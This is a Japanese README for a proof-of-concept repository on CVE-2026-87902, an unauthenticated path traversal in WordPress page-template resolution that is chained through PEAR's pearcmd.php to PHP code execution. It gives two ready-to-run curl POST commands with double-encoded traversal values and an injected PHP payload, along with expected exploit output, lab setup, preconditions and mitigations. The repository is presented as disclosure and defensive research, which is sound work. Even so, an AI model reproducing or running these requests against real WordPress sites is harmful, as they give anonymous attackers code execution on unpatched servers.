
CVE-2026-87902 の PoC — WordPress のページテンプレート解決における未認証のパストラバーサル(ローカル PHP インクルージョン、条件付き RCE)、脆弱なラボを固定
| CVE | CVE-2026-87902 |
| ベンダーアドバイザリ | GHSA-7hp8-65ch-5whp |
| 解説記事 | CVE-2026-87902: Critical WordPress file inclusion and conditional RCE |
| 影響を受けるバージョン | WordPress Core 4.7.0 – 7.1.1 (アドバイザリのブランチ別範囲による全ブランチ); 7.0.2 で動的に再現済み |
| 修正済み | 7.1.2 (7.1 ブランチ)、7.0.6 (7.0 ブランチ)、および 4.7.37 までの全ブランチへのバックポート (アドバイザリによる) |
| 脆弱性分類 | CWE-98 (include におけるファイル名の不適切な制御)、CWE-22 / CWE-23 (パストラバーサル) |
| CVSS v3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 High |
| CVSS v4.0 (補足) | CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N — 9.2 Critical |
| 認証 | 不要 — アカウント、Cookie、nonce、セッション、プラグイン、外部リクエストのいずれも不要 |
| ユーザー操作 | 不要 |
| 著者 | Robert Ressl — ressl.ch |
| PoC 検証日 | 2026-09-22、本リポジトリのラボ環境にて — 検証結果 を参照 |
WordPress はページテンプレートを、選択されたファイルがテーマルート内に留まることを 一切検証しない連鎖を通じて解決する:
pagename と page_id は公開クエリ変数であり、WP::parse_request() が匿名の
POST ボディから受け付ける。pagename 内の二重エンコードされたトラバーサルは、初期のクエリサニタイズを
エスケープされた %xx オクテットとして通過する (wp_basename() は %2f を
セパレータとして認識できず、sanitize_title_with_dashes() は有効なオクテットを
意図的に保持する)。page_id が実際に公開されたページを選択する一方で、悪意ある
pagename はクエリオブジェクト内に残る。get_page_template() が後にその値に対して urldecode() を呼び出し、
page-templates/../../../../../../../usr/local/lib/php/pearcmd.php のような
候補をテンプレート階層に追加する。locate_template() と最終的なテンプレートローダーは、存在、読み取り可能性、
.php/.html 拡張子のみをチェックし、正規化されたパスが許可されたテーマルート内に
あることは決して確認せず、そのまま include する。これが WordPress Core における未認証のリモートローカルファイルインクルードプリミティブである。
テスト済みの公式ランタイム (wordpress:php8.3-apache、PEAR を同梱し php.ini を
ロードしないため register_argc_argv が On) では、インクルードは PEAR の
pearcmd.php を経由して連鎖された: 最初の匿名リクエストで config-create が
攻撃者制御の PHP を /tmp に書き込み、2 回目の匿名リクエストがそのファイルを
インクルードして www-data として実行する。
Core におけるパス封じ込めの欠如が脆弱性である。PEAR はインクルードからコード実行への 環境依存の経路の一つに過ぎず、WordPress の依存関係ではなく、すべてのデプロイに 存在または利用可能なわけではない。
検証済みのソースコード位置 (WordPress 7.0.2):
| # | 場所 | 役割 |
|---|---|---|
| 1 | wp-includes/class-wp.php:18,322-330 | pagename と page_id は公開クエリ変数であり、$_POST から読み取られる |
| 2 | wp-includes/class-wp-query.php:2205 | sanitize_title_for_query( wp_basename( $query_vars['pagename'] ) ) — %2f は wp_basename() にとってセパレータではない |
| 3 | wp-includes/formatting.php:2283-2289 | sanitize_title_with_dashes() は有効な %xx オクテットを削除せず保持する |
| 4 | wp-includes/template.php:492 | $pagename_decoded = urldecode( $pagename ); — トラバーサルはサニタイズの後に有効化される |
| 5 | wp-includes/template.php:722-736 | locate_template() は各テーマルートの下に候補を連結し、file_exists() のみを呼び出す |
| 6 | wp-includes/template-loader.php:116-132 | realpath() がパスを正規化した後、正規のルート封じ込めチェックなしで include が実行される |
| 7 | wp-includes/canonical.php:42-47 | redirect_canonical() は非 GET/HEAD に対して早期リターンするため、POST は正規化されずに済む |
単体のインクルードプリミティブには以下が必要:
| # | 前提条件 | 理由 |
|---|---|---|
| 1 | 数値の page_id で選択される、公開済みで匿名から到達可能なページ | パス名検索が失敗した後、クエリによってページが返される必要がある |
| 2 | それ以前に解決可能なカスタムページテンプレートが存在しないこと | 有効な割り当て済みテンプレートは悪意ある候補より前に順序付けられる |
| 3 | アクティブな (子または親) テーマ内に、名前が page- で始まるトップレベルディレクトリ、例: page-templates/ | WordPress は固定の page- プレフィックスを先頭に付加するため、.. トラバーサルは位置 0 から開始できない; ディレクトリは存在してトラバース可能であればよく、書き込み可能である必要はない |
| 4 | 存在し、PHP ユーザーが読み取り可能な、選択されたローカルの .php ファイル | ローダーは is_file()/is_readable() をチェックし、.php 拡張子を要求する |
| 5 | そのファイルをブロックするファイルシステム封じ込めが存在しないこと | open_basedir や MAC ポリシーがインクルードを妨げる可能性がある |
実証された PEAR 段階にはさらに、読み取り可能な pearcmd.php (およびその依存関係)、
Web SAPI に対する register_argc_argv=On、書き込み可能な出力ディレクトリが必要である。
本番環境の php.ini ファイルは register_argc_argv=Off を設定する; テスト済みの
イメージは php.ini をロードしないため、コンパイル時のデフォルト (On) が適用された。
これは実証されたコード実行連鎖の普及率に関する重要な制限である。
同梱の Twenty Twenty-Three/Four/Five テーマにはトップレベルの page-* ディレクトリが
存在しないため、標準のラボでは以下に記載するフィクスチャが必要である。カスタムテーマは
page-templates/ レイアウトを正当に使用できる
(WordPress ドキュメント)。
アドバイザリは、これらの条件が出荷済みソフトウェアのどこで発生するかを記録している:
テーマ条件はレガシーの Twenty Twelve および Twenty Fourteen テーマ、ならびに Neve、
Hestia、Sydney などのサードパーティテーマで満たされ、PEAR 遷移は公式 PHP Docker
イメージおよび PHP 8.5 より古い PHP を実行するデフォルトの cPanel 構成に適用される。
(Twenty Twelve と Twenty Fourteen はどちらもトップレベルの page-templates/
ディレクトリを同梱している; 残りの記述はアドバイザリによるものである。) 本リポジトリは
完全な連鎖がどの程度の頻度で適用されるかを測定していない。
./lab/up.sh # WordPress 7.0.2 + MySQL 8.4 + the page-* fixture, installed and ready
python3 cve-2026-87902.py # two anonymous POSTs, prints the proof marker
cve-2026-87902.py は Python 3.6+ (標準ライブラリのみ) を必要とし、デフォルトで
http://127.0.0.1:8091 のラボに到達する。期待される出力:
[*] target : http://127.0.0.1:8091
[*] page id : 2 (sample-page, default template, via /index.php?rest_route=/wp/v2/pages&per_page=100&_fields=id,slug,template)
[*] depth 7 : stage 1 HTTP 200, stage 2 HTTP 200
[+] traversal : page-templates/../../../../../../../usr/local/lib/php/pearcmd.php
[+] payload file : page-templates/../../../../../../../tmp/wp-pear-rce-flag.php (written by PEAR in stage 1)
[+] marker : 'CVE-2026-87902-POC-OK' found 12 time(s) in the stage-2 response
[+] proof : CVE-2026-87902-POC-OK
[+] EXPLOIT SUCCESSFUL - PHP executed with the web-server account's privileges
終了コードは成功時 0、それ以外は 1 であるため、PoC は回帰/検出チェックとしても
機能する。
後片付け: docker compose down -v。
2026-09-22 に本ラボ (Docker 29.4、OrbStack、Apple silicon) に対して実行:
| チェック | 結果 |
|---|---|
| 段階 1 | HTTP 200; /tmp/wp-pear-rce-flag.php が www-data:www-data、モード 0644、1219 バイトで書き込まれた |
| ペイロード SHA-256 | 460d359253d9933ad373ffc8a0027adc5a79d5ca542ab9b2cf9532f949682aa7 — 元のレポートに記録されたハッシュと同一 |
| 段階 2 | HTTP 200; 注入された PHP がモード 0444 の証明アーティファクトを出力した |
| マーカー出現回数 | 12 (PEAR が制御されたルート値を 12 個の設定エントリにシリアライズする) |
| 使用された認証情報 | なし — いずれのリクエストにも Cookie または Authorization ヘッダーはない |
| ネガティブコントロール | page-templates/ を削除 → 段階 2 は通常のページを返し、マーカーなし、終了コード 1 |
証明アーティファクトはコンテナ内の /flag で、root 所有かつ全ユーザー読み取り可能
(root:root、モード 0444)。これは Web サーバーアカウントとして の PHP 実行と
ファイルアクセスを証明するものであり、権限昇格の対象ではない。
2 回の匿名 POST。WordPress のルーティング値はフォームボディで送信され、PEAR の
引数は生のクエリ文字列で送信される (PHP は生のクエリ文字列をリテラルの + で
argv に分割し、個々の引数を URL デコードしない):
argv[0] = ""
argv[1] = "config-create"
argv[2] = "/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>" # absolute PEAR root path
argv[3] = "/tmp/wp-pear-rce-flag.php" # output file
段階 1 — pearcmd.php をインクルードし、ペイロードを書き込む:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/?+config-create+/<?=file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103))?>+/tmp/wp-pear-rce-flag.php' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fusr%252flocal%252flib%252fphp%252fpearcmd'
段階 2 — 生成されたファイルをインクルードし、その PHP を実行する:
curl --path-as-is -sS -X POST \
'http://127.0.0.1:8091/' \
--data-raw 'page_id=2&pagename=templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp%252fwp-pear-rce-flag'
重要な詳細:
templates%2f%2e%2e%2f... になる; サニタイザーはそれらのオクテットを保持し、
get_page_template() の後半の urldecode() だけがそれらを / と .. に変換する。page- プレフィックス。 WordPress は値の先頭に page- を付加するため、
フィクスチャディレクトリ page-templates/ は先頭の templates セグメントに
対応する。.php サフィックス。 候補は page-<decoded>.php であるため、
ターゲットはサフィックスなしで指定される (.../pearcmd、/tmp/wp-pear-rce-flag)。GET ではなく POST。 redirect_canonical() は非 GET/HEAD リクエストを
スキップし、フォームボディによりクエリ文字列は PEAR 引数のみを運ぶことができる。wp_magic_quotes() は $_SERVER に対しても
実行されるため、サーバーが構築した argv はエスケープされ、PEAR が後に
バックスラッシュを正規化する。検証済みのペイロードは chr() を使用し、
クォート文字を含まない。(これは <?=file_get_contents('/flag')?> に簡約される。)config-create のルートパス。 PEAR は相対ルートを拒否する
(Root directory must be an absolute path beginning with "/") ため、
ペイロードはルートパス自体として注入される。cve-2026-87902.py はトラバーサルがターゲットに到達するまで ..
セグメントを進める (本ラボのレイアウトでは 7、--depth で固定可能)。lab/up.sh は 3 つのステップを実行し、再実行しても安全である:
docker compose up -d --build --wait — 固定された wordpress:7.0.2-php8.3-apache
と mysql:8.4、ポート 127.0.0.1:8091 (ループバックのみ)。admin / adminadmin) を実行する。wp-content/themes/twentytwentyfive/page-templates/、root:root、モード
0755、空。ラボイメージはコンパイル時のデフォルトに依存する代わりに register_argc_argv=On
を明示的に追加し (lab/Dockerfile)、/flag を焼き込む
(root:root、モード 0444、内容 CVE-2026-87902-POC-OK)。
| コンポーネント | 値 |
|---|---|
| WordPress | 7.0.2 (wordpress:7.0.2-php8.3-apache) |
| PHP / SAPI | 8.3.33、Apache モジュール |
| PEAR | 1.10.18、/usr/local/lib/php/pearcmd.php |
| MySQL | 8.4 |
register_argc_argv | On |
| テーマ | Twenty Twenty-Five + 空の root 所有 page-templates/ フィクスチャ |
| ターゲットページ | 公開済み Sample Page、ID 2、デフォルトテンプレート |
| 証明アーティファクト | /flag、root:root、モード 0444 |
ローリングタグ
wordpress:php8.3-apacheはこのラボには使用できない: バグは 7.1.2 で修正されており、固定されていないタグはラボを気付かないうちに パッチ適用済みにしてしまう。
検証済みまたは文書化されたコントロール:
page-* ディレクトリが存在しない → 固定プレフィックスを
除去できず、トラバーサルは開始されない (検証済み: フィクスチャ削除 → マーカーなし)。register_argc_argv=Off → PEAR ライターは機能しないが、インクルードプリミティブは
残る。.. セグメントの数が誤っている → ターゲットに到達しない (検証済み: 深さ 1-6 および
8-12 はラボでマーカーを生成しない)。/flag) は直接読み取れない — 候補には .php が
付加される。<、>、= バイトを拒否する WAF/CDN/リバース
プロキシは PEAR 引数チャネルを破壊する (デプロイ固有)。open_basedir/MAC 封じ込めまたは書き込み不可能な出力ディレクトリは連鎖を
破壊する; /tmp 上の noexec は破壊しない (PHP はファイルを読み取って解釈する)。この PoC は検証済みの 1 つの構成を再現するものである。すべての WordPress インストールが悪用可能であると主張するものではなく、普及率を測定するものでもない。
validate_file())、配置されたテンプレートをインクルードする前に、
候補とテーマルートの realpath() を末尾のディレクトリセパレータ付きで比較する。register_argc_argv=Off を設定し、
本番イメージから未使用の Web 読み取り可能な PEAR エントリポイントを削除し、
子テーマおよび親テーマのトップレベル page-* ディレクトリを監査し、PHP
アカウントの書き込みアクセスを制限する。| パス | 目的 |
|---|---|
cve-2026-87902.py | エクスプロイト: ページ検出、両段階、深さ処理、マーカー検証 |
lab/up.sh | ラボをエクスプロイトが期待する正確な状態にする (冪等) |
docker-compose.yml | WordPress 7.0.2 + MySQL 8.4、ループバックのみのポート |
lab/Dockerfile | 脆弱なリリースを固定し、register_argc_argv=On を設定し、/flag を焼き込む |
lab/flag | 証明アーティファクトの内容 |
| 日付 | 出来事 |
|---|---|
| 2026-07-20 | WordPress HackerOne プログラムを通じて非公開で報告 |
| 2026-07-21 | 受領確認 |
| 2026-09-15 | 今後のリリースで修正が予定されている旨の通知; 帰属の詳細を要求 |
| 2026-09-22 | 修正を含む WordPress 7.1.2 がリリース; アドバイザリ GHSA-7hp8-65ch-5whp が公開 |
このレポートは、当初の分類が改訂された後、有効なセキュリティ上の発見として受理された; やり取りにはその受理の日付は記載されていない。
本リポジトリは防御および研究目的で公開されている。所有しているか、明示的にテストを
許可されたシステムに対してのみ使用すること。ラボは 127.0.0.1 にバインドされており、
信頼できないネットワークに公開してはならない。
MIT — LICENSE を参照。引用メタデータは CITATION.cff にある:
Ressl, Robert (2026). CVE-2026-87902 PoC: unauthenticated path traversal in WordPress page-template resolution (v1.0.0). https://ressl.ch
脆弱性レポートと本 PoC は、構成と一貫性のレビューのために AI の支援を受けて 作成された; 技術的主張の責任は研究者にある。